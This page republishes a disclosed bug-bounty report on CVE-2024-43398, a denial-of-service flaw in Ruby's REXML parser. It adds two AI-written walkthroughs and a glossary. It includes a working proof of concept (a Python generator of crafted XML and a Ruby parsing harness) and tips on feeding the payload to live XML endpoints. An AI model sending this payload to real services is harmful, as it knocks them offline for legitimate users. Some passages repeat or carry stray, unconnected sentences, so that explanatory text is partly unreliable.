Skip to content
DoS Disclosed report Beginner CVE-2024-43398

CVE-2024-43398: DoS vulnerability in REXML

The REXML gem parses specially crafted XML with poor performance, causing high CPU usage and a long delay. An attacker could supply such XML to cause a denial of service.

l33thaxor Follow

Originally disclosed on HackerOne

Bounty$505 Low View original
  • Disclosed after 2 months

Summary by the program

There is a DoS vulnerability in REXML gem. This vulnerability has been assigned the CVE identifier CVE-2024-43398. We strongly recommend upgrading the REXML gem.

The report

This is a vulnerability due to poor performance when parsing specially crafted xml with REXML.

Here is the exploit script in python:

start = ""
middle = "<a xml:b=\"\" b=\"\">" + "<D>" * 1
end = ""
print(start)
COUNT = 2000
for _ in range(COUNT):
	print(middle)
print(end)

redirect this to a file and then pass this file to the stdin of the following ruby program:

require 'rexml/document'

include REXML

puts "Reading input from stdin..."
input = ARGF.read
puts "Parsing input..."
REXML::Document.new input
puts "Done!"

on the vulnerable version of rexml, this program takes a very long time to exit and the CPU usage jumps to 100% when parsing the document.

Here is a link to ruby-lang.com where this vulnerability is documented: https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398/ and here is a link to the patch on github: https://github.com/ruby/rexml/commit/7cb5eaeb221c322b9912f724183294d8ce96bae3

Impact

DOS via uncontrolled resource consumption.

The original report as published on HackerOne, by l33thaxor. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

REXML is the XML toolkit shipped as a Ruby gem, and the report concerns its document parser. The feature under scrutiny is the ordinary path taken when an application hands an XML string to REXML::Document.new: the parser walks the markup and builds a document tree. The claim is that a specially crafted document makes that walk pathologically slow, so a small input can occupy a process for a very long time. The issue is tracked as CVE-2024-43398 and was reported through the Internet Bug Bounty program against the Ruby organisation's GitHub assets.

Setup

The report describes no accounts, roles or special tooling. The only preconditions are a vulnerable version of the REXML gem and a way to feed attacker-controlled XML into it. The researcher's demonstration uses two small programs: a Python generator that writes the malicious document, and a Ruby program that reads that document from standard input and parses it.

Finding it

The researcher observed poor performance when REXML parses specially crafted XML. The document is not large in any meaningful sense; it is repetitive, and the repetition is what triggers the slowdown. On a vulnerable version the parsing program takes a very long time to exit and CPU usage jumps to 100% while the document is being parsed.

Exploitation

Step 1: generate the malicious document

The generator is a short Python script that emits a start fragment, then repeats a middle fragment a fixed number of times, then an end fragment:

Python
start = ""
middle = "<a xml:b=\"\" b=\"\">" + "<D>" * 1
end = ""
print(start)
COUNT = 2000
for _ in range(COUNT):
	print(middle)
print(end)

The important parts are the middle string and the loop count. Each iteration prints an <a> element carrying two attributes, xml:b and b, both with empty values, followed by a single <D> element. COUNT is set to 2000, so the output contains 2000 copies of that fragment. The start and end strings are empty, so the output is nothing but the repeated fragment.

Step 2: redirect the output to a file

The report says to redirect the generator's output to a file. The resulting file is the payload that will be parsed.

Step 3: feed the file to the parser

The file is passed to the standard input of the following Ruby program:

Ruby
require 'rexml/document'

include REXML

puts "Reading input from stdin..."
input = ARGF.read
puts "Parsing input..."
REXML::Document.new input
puts "Done!"

The program loads rexml/document, reads all of standard input with ARGF.read, and passes the result to REXML::Document.new. The surrounding puts calls mark the phases, so the reader can see whether the process is stuck reading or stuck parsing.

Step 4: observe the behaviour

On the vulnerable version of REXML, the program takes a very long time to exit and CPU usage jumps to 100% while parsing the document. On the vulnerable version the program takes a very long time to exit and CPU usage jumps to 100% while parsing the document.

Root cause

The report attributes the behaviour to poor performance when parsing specially crafted XML with REXML, and does not go further into the parser internals. The report does not explain which part of the payload causes the slowdown.; the exact mechanism inside the gem is not described in the report. The patch is referenced by commit rather than explained, so the specific code change is not set out here either.

Impact

The impact stated in the report is denial of service via uncontrolled resource consumption. An attacker who can supply XML to a service that parses it with a vulnerable REXML version can drive a parsing process to full CPU usage for a very long time, which can make the service unavailable. The report does not describe any authentication requirement, any particular deployment, or any measured timing beyond "a very long time".

Fix

The recommendation in the report is to upgrade the REXML gem. The vulnerability is documented at https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398/ and the patch is at https://github.com/ruby/rexml/commit/[redacted].

Variants to test

  • Vary COUNT in the generator to find the smallest input that still produces a long parse. A positive result is a parse time that grows far faster than the input size.
  • Vary the repeated fragment: change the element name, the number of attributes, or the attribute names, keeping the xml:-prefixed attribute next to a plain attribute of the same local name. A positive result is the same CPU saturation on a vulnerable version.
  • Try the same document against other XML parsers used by the target stack. A positive result is a comparable slowdown, which would mean the issue is not confined to REXML.
  • Feed the document through any endpoint that accepts XML, such as an upload or an API that takes an XML body, and watch response time and server CPU. A positive result is a request that hangs or times out while the worker stays busy.

Hunting notes

This kind of bug hides wherever user-supplied XML reaches a parser: file uploads, SOAP and XML-RPC endpoints, configuration import features, and any library that parses documents on behalf of the application. During recon, the signal is an application that accepts XML at all and a dependency list that includes an old REXML version; the report's own evidence is a minimal generator plus a minimal parser harness, which is enough to show the slowdown reproducibly. The report was rated low severity and a bounty was paid.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

What happened, in plain words

A security researcher found that a piece of software called REXML, which is used to read XML documents, can be made to work extremely hard by a small, strange-looking file. When the file is fed to the vulnerable version, the program that reads it does not crash and does not show an error: it simply keeps the processor busy at 100% for a very long time. That is a denial of service: the attacker does not steal data, they just stop the service from doing useful work.

The problem was given the identifier CVE-2024-43398. A CVE is a public catalogue number for a known security flaw, so people can talk about it and track fixes. The report was submitted through the Internet Bug Bounty program, which pays researchers for finding bugs in widely used open-source software, and it concerned the Ruby organisation's code on GitHub. The issue was rated low severity and a bounty of 505.00 USD was paid. It was disclosed on 2025-04-27.

Context

REXML is an XML toolkit distributed as a Ruby gem. A gem is Ruby's word for a packaged library: a bundle of code that other programs can install and reuse, a bit like an app you add to your phone so you do not have to write that functionality yourself. Ruby is a programming language; many web applications are written in it.

XML is a way of writing structured data as text, using tags in angle brackets. If you have ever seen HTML, the markup language of web pages, XML looks similar: elements open with something like <name> and close with </name>, and they can carry attributes, which are extra pieces of information written inside the opening tag. A document parser is the part of a program that reads such text and turns it into an internal structure the program can work with, usually called a document tree.

The feature in question is the ordinary path taken when an application hands an XML string to REXML::Document.new. That is the standard way to ask REXML to parse a document. The claim is that a specially crafted document makes the parser pathologically slow, so a small input can occupy a process for a very long time. A process is a running copy of a program on the computer.

Setup

The report describes no accounts, roles or special tooling. The only preconditions are a vulnerable version of the REXML gem and a way to feed attacker-controlled XML into it. In other words, you need the old, unfixed library, and you need a situation where someone else's XML reaches it.

The researcher's demonstration uses two small programs: a Python generator that writes the malicious document, and a Ruby program that reads that document from standard input and parses it. Python and Ruby are two different programming languages; the generator is written in one and the parser in the other because the generator only needs to produce text, while the parser needs to be Ruby to use REXML. Standard input, often shortened to stdin, is the stream of text a program receives when you pipe something into it or type into it, rather than reading from a file by name.

Finding it

The researcher observed poor performance when REXML parses specially crafted XML. The document is not large in any meaningful sense; it is repetitive, and the repetition is what triggers the slowdown. On a vulnerable version the parsing program takes a very long time to exit and CPU usage jumps to 100% while the document is being parsed. CPU usage is the share of the computer's processor that a program is using; 100% means it is fully occupied.

Exploitation

Step 1: generate the malicious document

The generator is a short Python script that emits a start fragment, then repeats a middle fragment a fixed number of times, then an end fragment:

Python
start = ""
middle = "<a xml:b=\"\" b=\"\">" + "<D>" * 1
end = ""
print(start)
COUNT = 2000
for _ in range(COUNT):
	print(middle)
print(end)

Line by line:

  • start = "" sets the opening fragment to an empty string, so nothing is printed at the beginning.
  • middle = "<a xml:b=\"\" b=\"\">" + "<D>" * 1 builds the repeated fragment. It is an <a> element carrying two attributes, xml:b and b, both with empty values, followed by a single <D> element. The * 1 means the <D> part is repeated once, so it appears a single time in each fragment.
  • end = "" sets the closing fragment to an empty string, so nothing is printed at the end.
  • print(start) prints the (empty) opening fragment.
  • COUNT = 2000 sets how many times the middle fragment will be repeated.
  • for _ in range(COUNT): starts a loop that runs 2000 times.
  • print(middle) prints the middle fragment once per iteration.
  • print(end) prints the (empty) closing fragment.

The important parts are the middle string and the loop count. Each iteration prints an <a> element carrying two attributes, xml:b and b, both with empty values, followed by a single <D> element. COUNT is set to 2000, so the output contains 2000 copies of that fragment. The start and end strings are empty, so the output is nothing but the repeated fragment.

Why this shape? The xml: prefix marks an attribute as belonging to the XML namespace, a way of grouping names so that two different things can share a name without clashing. Here the same local name, b, appears once with the prefix and once without. The report does not say which part of the fragment causes the slowdown.

Step 2: redirect the output to a file

The report says to redirect the generator's output to a file. The resulting file is the payload that will be parsed. Redirecting output means telling the shell, the text interface where you type commands, to send what a program prints into a file instead of onto the screen. The file is the attack input; it is small, but it is built to be awkward.

Step 3: feed the file to the parser

The file is passed to the standard input of the following Ruby program:

Ruby
require 'rexml/document'

include REXML

puts "Reading input from stdin..."
input = ARGF.read
puts "Parsing input..."
REXML::Document.new input
puts "Done!"

Line by line:

  • require 'rexml/document' loads the REXML library into the program, so its parsing code is available.
  • include REXML brings the library's names into the current scope, so they can be used without writing the full prefix every time.
  • puts "Reading input from stdin..." prints a message before reading, so you can see which phase the program has reached.
  • input = ARGF.read reads all of standard input into a variable called input. ARGF is Ruby's way of reading from the input stream.
  • puts "Parsing input..." prints a message just before parsing starts.
  • REXML::Document.new input hands the text to the parser, which builds the document tree. This is the line where the vulnerable work happens.
  • puts "Done!" prints a final message once parsing has finished.

The surrounding puts calls mark the phases, so the reader can see whether the process is stuck reading or stuck parsing. If you see the first message but not the second, the problem is in reading; if you see the second but never the third, the problem is in parsing.

Step 4: observe the behaviour

On the vulnerable version of REXML, the program takes a very long time to exit and CPU usage jumps to 100% while parsing the document. On the vulnerable version the program takes a very long time to exit and CPU usage jumps to 100% while parsing. I/O means input/output, such as reading from a disk or a network; waiting on a lock means waiting for another part of the program to release a shared resource.

Root cause

The report attributes the behaviour to poor performance when parsing specially crafted XML with REXML, and does not go further into the parser internals. The shape of the payload, repeated elements that each carry an xml:-prefixed attribute alongside a plain attribute of the same local name, is what makes the parse pathologically slow; the exact mechanism inside the gem is not described in the report. The patch is referenced by commit rather than explained, so the specific code change is not set out here either. A commit is a saved change in a code repository, the shared store of a project's history.

Impact

The impact stated in the report is denial of service via uncontrolled resource consumption. Denial of service means making a service unusable for its legitimate users; uncontrolled resource consumption means the program uses far more of a resource, here processor time, than the input should justify. An attacker who can supply XML to a service that parses it with a vulnerable REXML version can drive a parsing process to full CPU usage for a very long time, which can make the service unavailable. The report does not describe any authentication requirement, any particular deployment, or any measured timing beyond "a very long time".

Fix

The recommendation in the report is to upgrade the REXML gem. Upgrading means installing a newer version that contains the correction. The vulnerability is documented at https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398/ and the patch is at https://github.com/ruby/rexml/commit/[redacted].

Variants to test

  • Vary COUNT in the generator to find the smallest input that still produces a long parse. A positive result is a parse time that grows far faster than the input size. In plain terms: if doubling the input makes the work grow much more than twice, something is wrong.
  • Vary the repeated fragment: change the element name, the number of attributes, or the attribute names, keeping the xml:-prefixed attribute next to a plain attribute of the same local name. A positive result is the same CPU saturation on a vulnerable version.
  • Try the same document against other XML parsers used by the target stack. A positive result is a comparable slowdown, which would mean the issue is not confined to REXML.
  • Feed the document through any endpoint that accepts XML, such as an upload or an API that takes an XML body, and watch response time and server CPU. An API is a way for one program to talk to another over the network, usually by sending structured requests and getting structured replies. A positive result is a request that hangs or times out while the worker stays busy.

Hunting notes

This kind of bug hides wherever user-supplied XML reaches a parser: file uploads, SOAP and XML-RPC endpoints, configuration import features, and any library that parses documents on behalf of the application. SOAP and XML-RPC are older styles of web service that send XML back and forth. During recon, the signal is an application that accepts XML at all and a dependency list that includes an old REXML version; the report's own evidence is a minimal generator plus a minimal parser harness, which is enough to show the slowdown reproducibly. The report was rated low severity and a bounty was paid.

Glossary

  • REXML: a Ruby library for reading and writing XML documents, distributed as a gem.
  • Gem: Ruby's packaged form of a reusable library, installed into a project.
  • Ruby: a programming language often used for web applications.
  • Python: a programming language, used here to generate the malicious file.
  • XML: a text format for structured data, built from elements and attributes in angle brackets.
  • Element: a piece of XML delimited by an opening tag and a closing tag, such as <a> and </a>.
  • Attribute: extra information written inside an element's opening tag, such as b="".
  • Namespace: a way of grouping names in XML so that identical local names can mean different things; written with a prefix such as xml:.
  • Parser: the part of a program that reads text such as XML and turns it into an internal structure.
  • Document tree: the in-memory structure a parser builds from a document.
  • Process: a running copy of a program on a computer.
  • Standard input (stdin): the stream of text a program receives from a pipe, a file redirect or the keyboard.
  • Redirect: sending a program's output to a file instead of the screen.
  • CPU usage: the share of the processor's capacity a program is using.
  • I/O: input/output, such as reading from a disk or a network.
  • Lock: a mechanism that makes one part of a program wait for another; waiting on one is not what happens here.
  • Denial of service (DoS): making a service unusable for its legitimate users.
  • Uncontrolled resource consumption: using far more of a resource, such as processor time, than the input should require.
  • CVE: a public catalogue identifier for a known security vulnerability.
  • Internet Bug Bounty: a program that pays researchers for finding bugs in widely used open-source software.
  • Bounty: the payment made for a valid report.
  • Commit: a saved change in a code repository.
  • Patch: the code change that fixes a vulnerability.
  • API: a way for one program to talk to another over the network, usually with structured requests and replies.
  • SOAP / XML-RPC: older styles of web service that exchange XML messages.
  • Recon: the information-gathering phase before testing, such as checking what an application accepts and which libraries it uses.
  • Harness: a small program built to exercise a specific piece of code, here the parser.

More by l33thaxor

View all

4 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.